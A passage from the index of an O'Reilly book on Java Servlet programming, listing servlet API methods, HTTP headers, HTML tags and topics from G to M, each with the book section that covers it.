formats of images: 6.1.1. Image Generation
formatting query results: 9.2.5. Result Sets in Detail
forms, HTML: 12.6. HTML Forms
forName( ) method: 9.2.2. Getting a Connection

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: G

Gefion Software's WAICoolRunner, web site for information: 1.2.2. Add-on Servlet Engines
generateSessionId( ) method: 7.3. URL Rewriting
generating images: 6.1.1. Image Generation
GenericServlet class: 2.2. The Servlet API
A. Servlet API Quick Reference
GET method
in chat server: 10.3.1. The Design
use of: 2.1.2. GET and POST
getAppletInfo( ) method: 2.3.3. Handling Form Data
getAsciiStream( ) method: 9.5.2. Binaries and Books
getAttribute( ) method: 4.2.1. Getting Information About the Server
4.4.10. Extra Attributes
getAuthType( ) method: 4.3.3. Getting Information About the User
8.1.1. Retrieving Authentication Information
8.1.2. Custom Authorization
getAutoCommit( ) method: 9.4.1. Using Transactions with JDBC
getBinaryStream( ) method: 9.5.2. Binaries and Books
getBundle( ) method: 12.5.3. Resource Bundles
12.5.5. The LocaleNegotiator Class
getByName( ) method: 4.3.1. Getting Information About the Client Machine
getColumnCount( ) method: 9.2.5. Result Sets in Detail
getColumnLabel( ) method: 9.2.5. Result Sets in Detail
getConnection( ) method: 9.2.2. Getting a Connection
9.2.2. Getting a Connection
9.4.3. Connection Pooling
getContentLength( ) method: 4.4.9. Wading the Input Stream
getContentType( ) method: 2.5.1. Creating a Servlet Chain
4.4.9. Wading the Input Stream
4.4.9.3. Receiving files using the input stream
getCookies( ) method: 7.4.1. Working with Cookies
getCreationTime( ) method: 7.5.3. The Session Life Cycle
getDateHeader( ) method: 4.4.8.1. Accessing header values
4.4.8.1. Accessing header values
getDateUsingHttpObject( ) method: 10.2.3.2. The applet
getDateUsingHttpText( ) method: 10.2.3.2. The applet
getDateUsingSocketObject( ) method: 10.2.4.3. The applet
getDateUsingSocketText( ) method: 10.2.4.3. The applet
getDefaultToolkit( ).getImage( ) method: 6.1.2.1. Drawing over an image
getFile( ) method: 4.4.9.3. Receiving files using the input stream
getFileNames( ) method: 4.4.9.3. Receiving files using the input stream
getFilesystemName( ) method: 4.4.9.3. Receiving files using the input stream
getGraphics( ) method: 6.1.2.1. Drawing over an image
getHeader( ) method: 4.4.8.1. Accessing header values
4.4.8.1. Accessing header values
getHeaderField( ) method: 10.2.2.2. Back to the applet
getHeaderNames( ) method: 4.4.8.1. Accessing header values
getIds( ) method: 7.5.5. Putting Sessions in Context
getImage( ) method: 6.1.1.1. A ``Hello World'' image
getInitParameter( ) method: 3.3.1. A Counter with Init
getInitParameterNames( ) method: 4.1.2. Getting Init Parameter Names
getInputStream( ) method: 4.4.9. Wading the Input Stream
getIntHeader( ) method: 4.4.8.1. Accessing header values
4.4.8.1. Accessing header values
getLastAccessedTime( ) method: 7.5.3. The Session Life Cycle
getLastModified( ) method: 3.6. Last Modified Times
3.6. Last Modified Times
getMethod( ) method: 4.4.7. How It Was Requested
getMimeType( ) method: 4.4.3.3. Getting MIME types
6.1. Images
getName( ) method: 7.5.9. Session Binding Events
getObject( ) method: 9.2.3. Executing SQL Queries
getOutputStream( ) method: 5.2. Sending a Normal Response
getParameter( ) method: 2.4.1. Writing a Server-Side Include
2.6.5. JavaServer Pages and JavaBeans
4.4.1. Request Parameters
4.4.9.2. Handling POST requests using the input stream
getParameterNames( ) method: 4.4.1. Request Parameters
4.4.9.3. Receiving files using the input stream
getParameterValues( ) method: 4.4.1. Request Parameters
getPathInfo( ) method: 4.4.3.2. Ad hoc path translations
7.3. URL Rewriting
getPathTranslated( ) method: 4.4.3.1. Getting path information
4.4.3.2. Ad hoc path translations
getProperties( ).get( ) method: 11.3.1. Collaboration Through the System Properties List
getProperties( ).put( ) method: 11.3.1. Collaboration Through the System Properties List
11.3.1. Collaboration Through the System Properties List
getProperties( ).remove( ) method: 11.3.1. Collaboration Through the System Properties List
11.3.1. Collaboration Through the System Properties List
getProperty( ) method: 4.2.1. Getting Information About the Server
13.7.7. Some Final Tips
getReader( ) method: 2.5.1. Creating a Servlet Chain
4.4.9. Wading the Input Stream
getRealPath( ) method: 4.4.3.2. Ad hoc path translations
getRemoteAddr( ) method: 4.3.1. Getting Information About the Client Machine
getRemoteHost( ) method: 4.3.1. Getting Information About the Client Machine
getRemoteUser( ) method: 4.3.3. Getting Information About the User
4.3.3. Getting Information About the User
4.4.8. Request Headers
8.1.1. Retrieving Authentication Information
8.1.2. Custom Authorization
8.3.2. Retrieving SSL Authentication Information
getRequestURL( ) method: 4.4.5. Determining What Was Requested
getResultSet( ) method: 9.2.7. Updating the Database
getScheme( ) method: 4.4.7. How It Was Requested
getServerInfo( ) method: 4.2.1. Getting Information About the Server
getServlet( ) method: 11.1. Servlet Manipulation
getServletInfo( ) method: 2.3.3. Handling Form Data
getServletNames( ) method: 11.1. Servlet Manipulation
getServletPath( ) method: 4.4.5. Determining What Was Requested
getServlets( ) method: 11.1. Servlet Manipulation
getSession( ) method: 7.5.1. Session-Tracking Basics
7.5.5. Putting Sessions in Context
7.5.9. Session Binding Events
getSessionContext( ) method: 7.5.5. Putting Sessions in Context
getStackTraceAsString( ) method: 5.7.3. Reporting
getString( ) method: 9.2.3. Executing SQL Queries
getUpdateCount( ) method: 9.2.7. Updating the Database
getValue( ) method: 7.5.1. Session-Tracking Basics
getValueNames( ) method: 7.5.1. Session-Tracking Basics
getWriter( ) method: 5.2. Sending a Normal Response
GIF encoder, web site for downloading: 6.1.1.1. A ``Hello World'' image
GIF format
good and bad points: 6.1.1. Image Generation
LZW compression: 6.1.1.1. A ``Hello World'' image
glyphs, displaying correctly: 12.3.2. Writing Encoded Output
grayscale conversion: 6.1.3. Image Effects
greeting user by name: 2.3.3. Handling Form Data
GWAPI: 1.2.1. Standalone Servlet Engines
GZIP compression format, supported in JDK: 6.2. Compressed Content
GZIPOutputStream: 6.2. Compressed Content

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: H

handleClient( ) method: 10.2.4.1. The servlet
handleMalformedCount( ) method: 13.1. Parsing Parameters
handleNoCount( ) method: 13.1. Parsing Parameters
hash table: 4.3.4. A Personalized Welcome
6.1.3.2. Caching a converted image
HEAD method
handling of: 2.3.5. Handling HEAD Requests
purpose: 2.1.3. Other Methods
<HEAD> tag: 5.6.1. Setting an HTTP Header
headers
Accept: 2.1.1. Requests, Responses, and Headers
4.4.8. Request Headers
Accept-Charset: 12.5.2. Charset Preferences
Accept-Encoding: 6.2. Compressed Content
6.2. Compressed Content
Accept-Language: 12.5.1. Language Preferences
Authorization: 4.4.8. Request Headers
4.4.8. Request Headers
8.1.2. Custom Authorization
Cache-Control: 5.6. HTTP Headers
Connection: 5.6. HTTP Headers
Content-Encoding: 5.6. HTTP Headers
6.2. Compressed Content
6.2. Compressed Content
Content-Language: 12.1.1. HTML Character Entities
Content-Type: 2.1.1. Requests, Responses, and Headers
5.2. Sending a Normal Response
5.3. Using Persistent Connections
12.3.1. Charsets
Expires: 5.6. HTTP Headers
Location: 5.6. HTTP Headers
partial table of: 5.6. HTTP Headers
Pragma: 5.6. HTTP Headers
10.2.2.2. Back to the applet
Referer: 4.4.8. Request Headers
Refresh: 6.3. Server Push
request: 4.4.8.1. Accessing header values
response: 2.1.1. Requests, Responses, and Headers
Retry-After: 5.6. HTTP Headers
Server: 2.1.1. Requests, Responses, and Headers
User-Agent: 2.1.1. Requests, Responses, and Headers
4.4.8. Request Headers
6.2. Compressed Content
Vary: 6.2. Compressed Content
WWW-Authenticate: 4.4.8. Request Headers
5.6. HTTP Headers
8.1.2. Custom Authorization
``Hello World'' example: 2.3.1. Writing Hello World
5.2. Sending a Normal Response
5.4.1. Generating Hello World
6.1.1.1. A ``Hello World'' image
12.1. Western European Languages
``Hello World'' example in client's language: 12.5.4. Writing To Each His Own
``Hello World'' example in Japanese: 12.3.2. Writing Encoded Output
hidden form fields
CGI: 7. Session Tracking
charset: 12.6.1. The Hidden Charset
in session-tracking: 7.2. Hidden Form Fields
``¡Hola Mundo!'' example: 12.1. Western European Languages
.htm extension: 2.5.3. The Loophole
HTML
ACTION attribute: 4.4.3. Path Information
7.3. URL Rewriting
<APPLET> tag: 2.4. Server-Side Includes
6.1.5.1. An image of a simple applet
<BEAN> tag: 2.6.5. JavaServer Pages and JavaBeans
2.6.5. JavaServer Pages and JavaBeans
<BLINK> tag: 2.5. Servlet Chaining and Filters
2.5.1. Creating a Servlet Chain
13.3.1. Improving Deblink with Regular Expressions
character entities (&...;)
reference appendix: D. Character Entities
use of: 12.1.1. HTML Character Entities
constructed by hand: 5.4.2.1. Weather forecast constructed by hand
degree symbol: 5.4.2.3. Weather forecast using HTML generation creatively
forms: 12.6. HTML Forms
generation example: 5.4.2.2. Weather forecast using HTML generation
generation of: 5.4. HTML Generation
<HEAD> tag: 5.6.1. Setting an HTTP Header
hidden form fields: 7.2. Hidden Form Fields
<IMG> tag: 6.1.2.1. Drawing over an image
integration with databases: 5.4.2.4. HTML generation and databases
<META HTTP-EQUIV> tag: 5.6.1. Setting an HTTP Header
object-oriented: 5.4. HTML Generation
5.4.1. Generating Hello World
5.4.2.2. Weather forecast using HTML generation
5.4.2.3. Weather forecast using HTML generation creatively
page generated by HTTP servlet: 2.3. Page Generation
<PARAM> tag: 2.4. Server-Side Includes
2.6.5. JavaServer Pages and JavaBeans
4.4.1. Request Parameters
10.3.6. The Dispatcher
removing <BLINK>: 2.5.1. Creating a Servlet Chain
13.3.1. Improving Deblink with Regular Expressions
RFC 2070 (HTML internationalization): 12.6. HTML Forms
<SERVLET> tag
how Java Web Server supports it: 2.5. Servlet Chaining and Filters
parameters: 2.4. Server-Side Includes
syntax varies: 2.4. Server-Side Includes
servlets embedded in pages
limited response capability: 2.4.1. Writing a Server-Side Include
SSI functionality: 2.4. Server-Side Includes
<SQL> tag: 2.5. Servlet Chaining and Filters
<TITLE> tag: 5.4.1. Generating Hello World
.html extension: 2.5.3. The Loophole
htmlKona package
HTML table generation: 9.2.5. Result Sets in Detail
web site for downloading: 5.4.1. Generating Hello World
HTTP
access counters, as examples: 3.1.3. A Simple Counter
4.4.6. An Improved Counter
basic authentication: 8.1. HTTP Authentication
basic description: 2.1. HTTP Basics
connection to a CGI program: 10.1.1. HTTP and Raw Socket Connections
cookies: 2.2. The Servlet API
databases
connections: 3.4. Single-Thread Model
4.1.1. Getting an Init Parameter
9.2.2. Getting a Connection
connectivity, advantage of servlets: 9. Database Connectivity
connectivity, servlets' power: 1.3.2. Power
deleting session objects: 7.5.1. Session-Tracking Basics
digest authentication: 8.1. HTTP Authentication
environment variables: 4. Retrieving Information
extra path information: 4.4.3. Path Information
GET method: 2.1.2. GET and POST
10.3.1. The Design
giving values to session objects: 7.5.1. Session-Tracking Basics
greeting user by name: 2.3.3. Handling Form Data
headers
before response body: 5.1. The Structure of a Response
request: 4.4.8.1. Accessing header values
response: 2.1.1. Requests, Responses, and Headers
see also headers: 2.1.1. Requests, Responses, and Headers
``Hello World'' example: 2.3.1. Writing Hello World
5.2. Sending a Normal Response
5.4.1. Generating Hello World
6.1.1.1. A ``Hello World'' image
12.1. Western European Languages
``Hello World'' example in client's language: 12.5.4. Writing To Each His Own
``Hello World'' example in Japanese: 12.3.2. Writing Encoded Output
``¡Hola Mundo!'' example: 12.1. Western European Languages
logging errors: 5.7.2. Logging
methods 2.1.1. Requests, Responses, and Headers
non-HTTP applet: 10.2.4.3. The applet
non-HTTP protocol: 10.2.4.1. The servlet
non-HTTP server: 10.2.4.1. The servlet
10.2.4.2. The superclass
passwords: 8.1. HTTP Authentication
POST method: 2.1.2. GET and POST
2.1.2. GET and POST
2.3.4. Handling POST Requests
4.4.9.2. Handling POST requests using the input stream
10.1.1. HTTP and Raw Socket Connections
10.3.1. The Design
10.3.2. The Servlet
problem reports: 5.7.3. Reporting
query string: 2.1.2. GET and POST
6.1.2.2. Combining images
10.1.1. HTTP and Raw Socket Connections
raw socket connections: 10.1.1. HTTP and Raw Socket Connections
10.3.1. The Design
11.2.1. An Improved getServlet( )
reference book: 2.1. HTTP Basics
4.4.8. Request Headers
response headers
partial table of: 5.6. HTTP Headers
retrieving names of session objects: 7.5.1. Session-Tracking Basics
retrieving session objects: 7.5.1. Session-Tracking Basics
retrieving values from session objects: 7.5.1. Session-Tracking Basics
stateless protocol: 7. Session Tracking
status codes
definition: 5.1. The Structure of a Response
partial table of: 5.5. Status Codes
reference appendix: C. HTTP Status Codes
reporting: 5.7.1. Status Codes
server-specific pages: 5.7.1. Status Codes
setting: 5.5.1. Setting a Status Code
text-based communication: 10.2.2. Text-based HTTP Communication
time in local zone: 2.4.1. Writing a Server-Side Include
version response: 2.1.1. Requests, Responses, and Headers
virtual path: 4.4.3. Path Information
http scheme: 4.4.7. How It Was Requested
HTTP Servlet API, reference appendix: B. HTTP Servlet API Quick Reference
httpd script: 2.3.2. Running Hello World
httpd.exe program: 2.3.2. Running Hello World
httpd.nojre: 2.3.2. Running Hello World
HTTPS (HTTP plus SSL) protocol: 8.3. Secure Sockets Layer (SSL)
https scheme: 4.4.7. How It Was Requested
HttpServlet class: 2.2. The Servlet API
B. HTTP Servlet API Quick Reference
HttpServletRequest class
getAuthType( ) method: 8.1.1. Retrieving Authentication Information
getCookies( ) method: 7.4.1. Working with Cookies
getRemoteUser( ) method: 4.3.3. Getting Information About the User
8.1.1. Retrieving Authentication Information
identifying users: 4.3.3. Getting Information About the User
in javax.servlet.http: 2.2. The Servlet API
reference: B. HTTP Servlet API Quick Reference
HttpServletResponse class
encodeRedirectUrl( ) method: 7.5.7. Storing Session IDs
encodeUrl( ) method: 7.5.7. Storing Session IDs
in javax.servlet.http: 2.2. The Servlet API
reference: B. HTTP Servlet API Quick Reference
setting HTTP response headers: 5.6.1. Setting an HTTP Header
uses: 2.3.1. Writing Hello World
HttpSession class
getCreationTime( ) method: 7.5.3. The Session Life Cycle
getLastAccessedTime( ) method: 7.5.3. The Session Life Cycle
invalidate( ) method: 7.5.3. The Session Life Cycle
isNew( ) method: 7.5.3. The Session Life Cycle
reference: B. HTTP Servlet API Quick Reference
session-tracking: 7.5.1. Session-Tracking Basics
session-tracking functionality: 2.2. The Servlet API
HttpSessionBindingEvent class: B. HTTP Servlet API Quick Reference
HttpSessionBindingListener class: B. HTTP Servlet API Quick Reference
HttpSessionContext class: 7.5.5. Putting Sessions in Context
B. HTTP Servlet API Quick Reference
HttpUtils class: B. HTTP Servlet API Quick Reference

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: I

IANA (Internet Assigned Numbers Authority): 12.4.2. Writing UTF-8
IBM
ServletExpress, web site for information: 1.2.2. Add-on Servlet Engines
WebSphere Application Server, web site for information: 1.2.2. Add-on Servlet Engines
If-Modified-Since header: 3.6. Last Modified Times
3.6. Last Modified Times
IIOP (Internet Inter-ORB Protocol), web sites for information: 10.1.3. JDBC, RMI, and a Little CORBA
image/gif MIME type: 6.1.1.1. A ``Hello World'' image
images
as responses: 6.1. Images
caching: 6.1.3.2. Caching a converted image
chaining: 11.3.1.2. Faster image chaining
conglomerate: 6.1.2.2. Combining images
converting to grayscale: 6.1.3. Image Effects
drawing on top of: 6.1.2.1. Drawing over an image
filter chains: 6.1.4. Image Effects in Filter Chains
formats: 6.1.1. Image Generation
generating: 6.1.1. Image Generation
manipulating: 1.3.2. Power
6.1. Images
scaling down in size: 6.1.3. Image Effects
6.1.4. Image Effects in Filter Chains
special effects: 6.1.3. Image Effects
6.1.4. Image Effects in Filter Chains
<IMG> tag: 6.1.2.1. Drawing over an image
i18n, see internationalization: 12. Internationalization
indexes in ResultSet objects, numbered 1 to n: 9.2.5. Result Sets in Detail
inheritance: 11.3.3. Collaboration Through Inheritance
11.3.3.2. Inheriting the shared information
init( ) method: 3.3. Init and Destroy
3.3.1. A Counter with Init
3.3.2. A Counter with Init and Destroy
initialization (init) parameters
example: 4.1.2. Getting Init Parameter Names
key for locking servlet to server: 4.2.2. Locking a Servlet to a Server
registered servlet names: 4.1. Initialization Parameters
uses of: 3.3. Init and Destroy
initializing servlets: 3.3. Init and Destroy
input streams: 4.4.9. Wading the Input Stream
integration of servlets: 1.3.6. Integration
interfaces
Servlet: 2.2. The Servlet API
SingleThreadModel: 3.4. Single-Thread Model
internationalization
future directions: 12.5.6. Future Directions
Microsoft Internet Explorer: 12.3.2. Writing Encoded Output
Netscape Navigator: 12.3.2. Writing Encoded Output
servlet feature: 1.3.2. Power
Western European languages: 12.1. Western European Languages
see also localization: 12. Internationalization
Internet Information Server, no FastCGI support: 1.1.1.1. FastCGI
Internet Information Server, web site for downloading: 1.1.2.2. Active Server Pages
interservlet communication: 11. Interservlet Communication
INTROSPECT attribute: 2.6.5. JavaServer Pages and JavaBeans
invalid pointer reference: 1.3.4. Safety
invalidate( ) method: 7.5.3. The Session Life Cycle
invoker: 2.5.2. Running Deblink
IP address: 7. Session Tracking
ISAPI, Microsoft API: 1.1.2.1. Server Extension APIs
isNew( ) method: 7.5.3. The Session Life Cycle
ISO-8859-5 (Cyrillic) charset: 12.3.1. Charsets
ISO-8859-8 (Hebrew) charset: 12.3.1. Charsets
ISO-8859-1 (Latin-1) charset: 5.2. Sending a Normal Response
12.1.1. HTML Character Entities
12.1.2. Unicode Escapes
12.3.1. Charsets
12.6. HTML Forms
ISO-3166 (country codes): 12.2. Conforming to Local Customs
ISO-639 (language abbreviations): 12.1.1. HTML Character Entities
isRequestedSessionIdFromCookie( ) method: 7.5.7. Storing Session IDs
isRequestedSessionIdFromUrl( ) method: 7.5.7. Storing Session IDs
isRequestedSessionIdValue( ) method: 7.5.7. Storing Session IDs

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: J

Japanese charset: 12.3.1. Charsets
Java
100% Pure Java: 13.5. Using Native Methods
constructors: 3.3. Init and Destroy
dynamic formatting: 12.2. Conforming to Local Customs
exception handling: 5.7. When Things Go Wrong
memory protection: 5.7. When Things Go Wrong
methods to retrieve SQL data types: 9.2.5. Result Sets in Detail
reference books: 0.1.1. What You Need to Know
resource bundles: 12.5.3. Resource Bundles
security features: 5.7. When Things Go Wrong
security manager: 8.4.1. The Servlet Sandbox
system-wide Properties list: 11.3.1. Collaboration Through the System Properties List
Unicode: 12.1.2. Unicode Escapes
Java-Apache project's JServ module, web site for information: 1.2.2. Add-on Servlet Engines
Java Archive (JAR) files: 6.2. Compressed Content
8.4.1. The Servlet Sandbox
Java Cryptography book: 8.2. Digital Certificates
Java database connectivity, see JDBC: 9. Database Connectivity
Java Development Kit, see JDK: 0.2. About the Examples
Java Distributed Computing book: 10.1.3. JDBC, RMI, and a Little CORBA
Java Examples in a Nutshell book: 6.1.5.1. An image of a simple applet
Java Exchange's DbConnectionBroker package, web site for: 9.4.3. Connection Pooling
Java Image Management Interface (JIMI), web site for downloading: 6.1.1.1. A ``Hello World'' image
Java in a Nutshell book: 0.1.1. What You Need to Know
Java Native Interface (JNI): 13.5. Using Native Methods
Java Native Methods book: 13.5. Using Native Methods
Java Network Programming book: 10.1.3. JDBC, RMI, and a Little CORBA
java.\\* packages: 4.2.1. Getting Information About the Server
4.4.10. Extra Attributes
Java Runtime Environment (JRE): 2.3.2. Running Hello World
Java Servlet Development Kit, see JSDK: 0.2. About the Examples
Java Software division, see JavaSoft: 0. Preface
Java Web Server (``Jeeves'')
back door for servlet's registered name: 4.1.2. Getting Init Parameter Names
bug with chained servlet: 2.5.3. The Loophole
bug with getRequestURI( ): 4.4.5. Determining What Was Requested
bug with PrintWriter: 2.4.1. Writing a Server-Side Include
modular design: 4.4.4. Serving Files
permission types: 8.4.2. Fine-grained Control
programmatic access to security: 8.1.2. Custom Authorization
security manager: 8.4.1. The Servlet Sandbox
session-tracking: 7.5. The Session Tracking API
supports SSL 3.0: 8.3.1. SSL Client Authentication
used in this book: 2.3.2. Running Hello World
web site for information: 0.2. About the Examples
1.2.1. Standalone Servlet Engines
JavaBeans
servlets handled as: 3.3. Init and Destroy
web site for information: 2.6.5. JavaServer Pages and JavaBeans
javac compiler: 2.3.2. Running Hello World
JavaChart package
free applets in: 6.1.5.2. A generic applet viewer
web site for downloading: 6.1.1.2. A dynamically generated chart
JavaMail API: 13.2. Sending Email
JavaScript, server-side: 1.1.2.3. Server-side JavaScript
java.security package: 8.3.2. Retrieving SSL Authentication Information
JavaServer Administration Tool
configuration page: 8.4.2. Fine-grained Control
for MIME-based filtering: 2.5.3. The Loophole
URL for access: 2.3.2. Running Hello World
JavaServer Engine, web site for information: 1.2.3. Embeddable Servlet Engines
JavaServer Pages, see JSPs: 2.6. JavaServer Pages
JavaServer Toolkit, web site for information: 1.2.3. Embeddable Servlet Engines
JavaSoft servlets: 0. Preface
java.util.zip package: 6.2. Compressed Content
javax.\\* packages: 4.2.1. Getting Information About the Server
4.4.10. Extra Attributes
javax.servlet package: 2.2. The Servlet API
A. Servlet API Quick Reference
javax.servlet.http package: 2.2. The Servlet API
B. HTTP Servlet API Quick Reference
JDBC Database Access with Java book: 9.2. The JDBC API
JDBC (Java database connectivity)
advanced techniques: 9.5. Advanced JDBC Techniques
connecting: 9.2.2. Getting a Connection
connections
most limited JDBC resource: 9.4.4. Connections as Part of a Session
see also databases and transactions: 9. Database Connectivity
details extracted out: 4.1.1. Getting an Init Parameter
drivers
capabilities: 9.2.2. Getting a Connection
loading: 9.2.2. Getting a Connection
pooling: 9.4.3. Connection Pooling
types of: 9.2.1. JDBC Drivers
null database values: 9.2.6. Handling Null Fields
SQL-level API: 9.2. The JDBC API
web sites
drivers information: 9.2.1. JDBC Drivers
JDBC specification: 9.2. The JDBC API
JDK (Java Development Kit)
localizing dates and times: 12.2. Conforming to Local Customs
web site for downloading: 0.2. About the Examples
Jigsaw Server, web site for information: 1.2.1. Standalone Servlet Engines
JPEG format: 6.1.1. Image Generation
JRun, web site for information: 1.2.2. Add-on Servlet Engines
JScript: 1.1.2.2. Active Server Pages
JSDK (Java Servlet Development Kit)
bare-bones simplicity: 2.3.2. Running Hello World
description: 2.3.2. Running Hello World
minimal session-tracking: 7.5. The Session Tracking API
web site for downloading: 0.2. About the Examples
1.2. Support for Servlets
13.7.3. Use a Standard Debugger
jserv-interest mailing list: 0.6.1. Jason Hunter
JServ module, web site for information: 1.2.2. Add-on Servlet Engines
.jsp extension: 2.6.1. Using JavaServer Pages
JSPs (JavaServer Pages): 1.3.7. Extensibility and Flexibility
2.6. JavaServer Pages

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: K

``keep-alive'' connections, see persistence: 5.3. Using Persistent Connections
key
asymmetric: 8.3. Secure Sockets Layer (SSL)
DES: 8.3. Secure Sockets Layer (SSL)
key for locking servlet to server: 4.2.2. Locking a Servlet to a Server
Keywitness certificate authority: 8.2. Digital Certificates
Korean charset: 12.3.1. Charsets
Kristensen's Nexus Web Server, web site for information: 1.2.3. Embeddable Servlet Engines

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: L

language
Microsoft Internet Explorer option: 12.5.1. Language Preferences
name abbreviations: 12.1.1. HTML Character Entities
12.2. Conforming to Local Customs
12.5.1. Language Preferences
negotiation: 12.5.6. Future Directions
Netscape Navigator option: 12.5.1. Language Preferences
non-Western European: 12.3. Non-Western European Languages
several on one page: 12.4. Multiple Languages
12.7. Receiving Multilingual Input
specifying: 12.1.1. HTML Character Entities
large binary objects: 9.5.2. Binaries and Books
large text strings: 9.5.2. Binaries and Books
Last-Modified header: 3.6. Last Modified Times
3.6. Last Modified Times
legal counsel: 4.3.2. Restricting Access to the United States and Canada
lib/jws.jar in classpath: 2.3.2. Running Hello World
license key example: 4.4.2. Generating a License Key
license, software: 4.2.2. Locking a Servlet to a Server
life cycle
CGI: 1.1.1. Common Gateway Interface
servlet: 3.1. The Servlet Alternative
7.5.3. The Session Life Cycle
list, jserv-interest: 0.6.1. Jason Hunter
listing users: 13.4.1. Finger
Live Software
JRun, web site for information: 1.2.2. Add-on Servlet Engines
ServletDebugger, web site for information: 13.7.4. Use a Third-Party Tool
l10n, see localization: 12. Internationalization
local customs: 12.2. Conforming to Local Customs
Locale class: 12.2. Conforming to Local Customs
12.2. Conforming to Local Customs
12.3.2. Writing Encoded Output
12.5.3. Resource Bundles
LocaleNegotiator class: 12.5.5. The LocaleNegotiator Class
LocaleToCharsetMap class: 12.5.5. The LocaleNegotiator Class
localization
future directions: 12.5.6. Future Directions
Microsoft Internet Explorer: 12.3.2. Writing Encoded Output
Netscape Navigator: 12.3.2. Writing Encoded Output
servlet feature: 1.3.2. Power
Western European languages: 12.1. Western European Languages
localizing dates and times: 12.2. Conforming to Local Customs
Location header: 5.6. HTTP Headers
lock (monitor) on a class: 3.1.4. A Simple Synchronized Counter
log files: 13.7.1. Check the Logs
log( ) method for debugging: 5.7.2. Logging
13.7.2. Output Extra Information
logging errors: 5.7.2. Logging
Lotus
Domino Go Webserver, web site for information: 1.2.1. Standalone Servlet Engines
GWAPI: 1.2.1. Standalone Servlet Engines
low-level socket management: 10.2.4.2. The superclass
LZW compression algorithm: 6.1.1.1. A ``Hello World'' image

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: M

mailing list, jserv-interest: 0.6.1. Jason Hunter
main( ) method, not used in servlets: 2.2. The Servlet API
manipulating images: 1.3.2. Power
6.1. Images
Mastering Regular Expressions book: 13.3. Using Regular Expressions
memory footprint: 3.1.2. Instance Persistence
memory leaks: 1.3.4. Safety
memory protection: 5.7. When Things Go Wrong
<META HTTP-EQUIV> tag: 5.6.1. Setting an HTTP Header
methods
accept( ): 10.2.4.2. The superclass
addCookie( ): 7.4.1. Working with Cookies
addNotify( ): 6.1.1.1. A ``Hello World'' image
callbacks to: 10.1.3. JDBC, RMI, and a Little CORBA
10.3. Chat Server
10.3.1. The Design
10.3.5. The RMI Applet
chaining: 5.4.2.2. Weather forecast using HTML generation
clearParameters( ): 9.2.8. Using Prepared Statements
containsHeader( ): 5.6.1. Setting an HTTP Header
createImage( ): 6.1.1.1. A ``Hello World'' image
6.1.2.1. Drawing over an image
6.1.4. Image Effects in Filter Chains
definition: 2.1.1. Requests, Responses, and Headers
DELETE: 2.1.3. Other Methods
destroy( ): 3.3. Init and Destroy
3.3. Init and Destroy
3.3.2. A Counter with Init and Destroy
doDelete( ): 2.2. The Servlet API
doGet( ): 2.3.1. Writing Hello World
2.3.4. Handling POST Requests
2.3.5. Handling HEAD Requests
2.4.1. Writing a Server-Side Include
3.6. Last Modified Times
10.3.2. The Servlet
doHead( ): 2.2. The Servlet API
doOptions( ): 2.2. The Servlet API
doPost( ): 10.2.3.3. Posting a serialized object
10.3.2. The Servlet
doPut( ): 2.2. The Servlet API
doTrace( ): 2.2. The Servlet API
encodeRedirectUrl( ): 7.5.7. Storing Session IDs
encodeUrl( ): 7.5.7. Storing Session IDs
exec( ): 13.4. Executing Programs
13.4.2. Executing the Finger Command
executeQuery( ): 9.2.3. Executing SQL Queries
executeUpdate( ): 9.2.8. Using Prepared Statements
exit( ): 2.3.5. Handling HEAD Requests
forName( ): 9.2.2. Getting a Connection
generateSessionId( ): 7.3. URL Rewriting
GET
in chat server: 10.3.1. The Design
use of: 2.1.2. GET and POST
getAppletInfo( ): 2.3.3. Handling Form Data
getAsciiStream( ): 9.5.2. Binaries and Books
getAttribute( ): 4.2.1. Getting Information About the Server
4.4.10. Extra Attributes
getAuthType( ): 4.3.3. Getting Information About the User
8.1.1. Retrieving Authentication Information
8.1.2. Custom Authorization
getAutoCommit( ): 9.4.1. Using Transactions with JDBC
getBinaryStream( ): 9.5.2. Binaries and Books
9.5.2. Binaries and Books
getBundle( ): 12.5.3. Resource Bundles
12.5.5. The LocaleNegotiator Class
getByName( ): 4.3.1. Getting Information About the Client Machine
getColumnCount( ): 9.2.5. Result Sets in Detail
getColumnLabel( ): 9.2.5. Result Sets in Detail
getConnection( ): 9.2.2. Getting a Connection
9.2.2. Getting a Connection
9.4.3. Connection Pooling
getContentLength( ): 4.4.9. Wading the Input Stream
getContentType( ): 2.5.1. Creating a Servlet Chain
4.4.9. Wading the Input Stream
4.4.9.3. Receiving files using the input stream
getCookies( ): 7.4.1. Working with Cookies
getCreationTime( ): 7.5.3. The Session Life Cycle
getDateHeader( ): 4.4.8.1. Accessing header values
4.4.8.1. Accessing header values
getDateUsingHttpObject( ): 10.2.3.2. The applet
getDateUsingHttpText( ): 10.2.3.2. The applet
getDateUsingSocketObject( ): 10.2.4.3. The applet
getDateUsingSocketText( ): 10.2.4.3. The applet
getDefaultToolkit( ).getImage( ): 6.1.2.1. Drawing over an image
getFile( ): 4.4.9.3. Receiving files using the input stream
getFileNames( ): 4.4.9.3. Receiving files using the input stream
getFilesystemName( ): 4.4.9.3. Receiving files using the input stream
getGraphics( ): 6.1.2.1. Drawing over an image
